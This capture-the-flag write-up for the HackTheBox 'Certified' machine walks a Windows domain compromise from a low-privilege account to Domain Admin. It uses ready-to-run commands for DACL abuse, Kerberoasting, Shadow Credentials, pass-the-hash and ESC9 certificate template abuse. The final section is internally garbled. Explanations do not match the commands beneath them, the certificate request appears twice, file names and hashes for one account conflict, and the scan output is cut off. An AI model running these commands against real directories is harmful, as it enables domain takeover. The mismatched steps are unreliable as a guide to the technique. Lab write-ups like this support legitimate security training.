A write-up of the HackTheBox machine “Certified”. This box revolves around a vulnerable certificate template that we can abuse to achieve Domain Admin privileges.

The target

HTB Overview

The host is a domain controller for certified.htb, and we are handed one working account, judith.mader. The objective is the built-in Administrator. In outline the path runs from that account, through ownership of a group, to a service account, and finally to the certificate authority, where a misconfigured template lets us issue ourselves a certificate in the Administrator’s name.

A service scan shows the usual domain controller ports: DNS, Kerberos, RPC, NetBIOS, LDAP and LDAPS, SMB, and the global catalog.

└─$ sudo nmap -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269 10.10.11.41 -Pn              
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 22:40 AWST
Nmap scan report for 10.10.11.41
Host is up (0.018s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-12-01 21:40:27Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2024-12-01T21:41:47+00:00; +7h00m00s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-12-01T21:41:47+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2024-12-01T21:41:47+00:00; +7h00m00s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36

The LDAP certificate gives us the controller’s hostname, DC01.certified.htb, which we edit into /etc/hosts alongside the domain.

Mapping the domain

Any user account is enough to read most of the AD. We collect that data and load it into BloodHound to see which objects our user can act on.

bloodhound-python -u 'judith.mader' -p 'judith09' -d certified.htb -ns 10.10.11.41 --zip -c all

Taking control of a service account

Owning the group lets us grant ourselves the right to edit its membership, then add our own account to it.

impacket-dacledit -action write -rights WriteMembers \
  -principal judith.mader \
  -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' \
  certified.htb/judith.mader:judith09

Adding ourselves:

net rpc group addmem "CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S "10.10.11.41"

This group has GenericWrite permissions over the management_svc service account. That account has an SPN, which means they’re also vulnerable to Kerberoasting. Let’s try that first:

sudo impacket-GetUserSPNs -request -dc-ip 10.10.11.41 certified.htb/judith.mader:judith09 -outputfile kerberoast.txt

The hash does not crack, which is the expected result against a long, random service password. Kerberoasting is not the only use of write access, though. GenericWrite lets us set the account’s msDS-KeyCredentialLink attribute, the basis of the Shadow Credentials technique: we register our own key material against the account and then authenticate as it through PKINIT, without ever learning its password.

We can use bloodyAD (from https://github.com/CravateRouge/bloodyAD) to add the key credential. (pyWhisker does the same job but has been unreliable since Python 3.12.)

python3 bloodyAD.py -d certified.htb -u judith.mader -p judith09 --dc-ip 10.10.11.41 add shadowCredentials management_svc

From the issued certificate and private key we request a Kerberos ticket, then recover the account’s NT-hash by asking for and decrypting a service ticket with the AS-REP key. Let’s get the TGT:

python3 PKINITtools/gettgtpkinit.py -cert-pem bloodyAD/SeHZwPCb_cert.pem -key-pem bloodyAD/SeHZwPCb_priv.pem certified.htb/management_svc SeHZwPCb.ccache

We save the TGT in our environment variables:

export KRB5CCNAME=management_svc.ccache

And we collect the NT-hash:

python3 PKINITtools/getnthash.py -key <as-rep-key> certified.htb/management_svc

That returns the NT hash for management_svc, which is enough to authenticate by using Pass-the-Hash techniques!

Reaching the certificate operator

BloodHound shows management_svc has GenericAll over the ca_operator account, so we authenticate with the hash and reset that account’s password. Authenticating with the hash:

pth-rpcclient -U certified.htb/management_svc 10.10.11.41 --pw-nt-hash

We change the password to something simple, like Welkom01!:

setuserinfo ca_operator 23 Welkom01!

The account name seems like a clue for the next step. ca_operator has enrolment rights on the certificate authority (CA). That’s cool – let’s look at templates!

The vulnerable template

We use certipy to enumerate the CA and flag templates that are configured unsafely.

certipy-ad find -u [email protected] -dc-ip 10.10.11.41 -vulnerable

It reports the CA certified-DC01-CA and a template, CertifiedAuthentication, that is vulnerable to ESC9. ESC9 covers templates that lack the security extension binding a certificate to a specific account. Without that extension, the certificate is trusted on the strength of whatever User Principal Name (UPN) the requesting account happens to carry at the time.

Issuing a certificate as the Administrator

The approach follows directly from the weakness. We change ca_operator’s UPN to Administrator, request a certificate while it carries that name, then set the UPN back so the account still works afterwards.

First we take over ca_operator through Shadow Credentials, using the management_svc hash:

certipy-ad account update -username [email protected] -hashes 'a091c1832bcdd4677c28b5a6a1295584'  -user ca_operator -upn Administrator

Then we set the UPN to Administrator. Because the template does not enforce the security extension, the bare account name is accepted with no domain suffix.

certipy-ad req -username [email protected] -hashes 'a958a3e244a682c7be90850c7a4e69eb' -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -dc-ip 10.10.11.41

We request the certificate, which the CA issues against the current UPN:

certipy-ad req -username [email protected] -hashes 'a958a3e244a682c7be90850c7a4e69eb' -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -dc-ip 10.10.11.41

And we put the original UPN back:

certipy-ad account update -username [email protected] -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user ca_operator -upn [email protected]

Finally we authenticate with the certificate. Because it was issued in the Administrator’s name, the CA hands back the Administrator’s credentials.

certipy-ad auth -pfx administrator.pfx -domain certified.htb

At this point we have Domain Admin, and so we are done!